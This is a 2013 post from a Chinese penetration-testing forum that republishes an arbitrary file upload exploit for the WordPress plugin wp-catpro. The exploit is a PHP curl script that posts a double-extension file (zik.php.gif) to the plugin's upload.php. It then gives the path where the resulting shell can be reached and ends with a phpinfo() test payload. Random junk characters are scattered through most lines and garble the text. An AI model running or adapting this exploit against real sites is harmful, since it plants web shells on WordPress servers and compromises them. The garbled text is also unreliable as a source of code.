中国网络渗透测试联盟

标题: WordPress插件wp-catpro任意文件上传 [打印本页]
作者: admin    时间: 2013-2-27 20:12
标题: WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability4 {* b% s3 _- D8 j" X* a
#-----------------------------------------------------------------------# R" y! I! c' y) S

, u+ w& P# H- h( l$ W作者  => Zikou-16+ U. B; m$ [( B  B* H
邮箱 => zikou16x@gmail.com
3 v5 M. G9 @; i& j  E/ Y测试系统 : Windows 7 , Backtrack 5r31 l9 f3 q) Z  h* t1 Y* B, |& @
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip7 a  Z0 U' j' z# b/ Y
####
. C" t! L1 `, c1 d% ~8 T
( Z5 x5 H5 ~9 ?7 T3 j#=> Exploit 信息:
! J. S  W# f; y2 l* l7 R------------------
. x3 v: ~/ R2 x: `3 [0 E6 H# 攻击者可以上传 file/shell.php.gif  C0 p  q0 V, L' I% x- O: Y5 w4 V
# ("jpg", "gif", "png")  // Allowed file extensions
. y8 a: V# ^5 W7 @) S# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
% V" f$ z  ?; w# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)( [& d& k" Y1 ]# B8 T/ D
------------------7 V5 Q5 P4 y* V

! e& n: j1 Q' w; H; I#=> Exploit
2 D* E) x6 L8 l5 D5 Q5 t1 |! V-----------
# q% b3 ]( s5 p3 u, S( K<?php
% c: B. G1 D- l5 K% C% a% a
' \& h$ }$ v" v. T) p3 w6 U$uploadfile="zik.php.gif";
2 e) c8 f- {9 e4 @7 N$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");9 |4 a4 {, z. O: O$ D9 E2 i
curl_setopt($ch, CURLOPT_POST, true);
4 u9 E, F8 [( U' I3 d2 X, n' ?curl_setopt($ch, CURLOPT_POSTFIELDS,
2 I- Y  T! O4 Warray('Filedata'=>"@$uploadfile",! {7 ^* _0 s6 v' J
'folder'=>'/wp-content/uploads/catpro/'));
3 {8 N4 H1 w) c3 G5 ?: j- Jcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);, w( J; _1 ~' A) x4 B. S
$postResult = curl_exec($ch);
8 C, ?+ _) q$ N- k7 u* g8 o0 Ycurl_close($ch);( S+ r) t0 f, }8 q

0 R- C8 x. g/ n6 W; pprint "$postResult";! O6 i0 o. p. Z7 j5 \& l( x0 G. Z

  A9 S( J$ P: M0 i! tShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
7 y' S# H/ k% x" `  ?>9 u; s, X4 K) m% R$ H% [4 c1 M
<?php
, Z8 r8 Z& [# k3 P0 M) D4 Nphpinfo();
1 I9 a, i+ T" I" f2 q# G?>



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2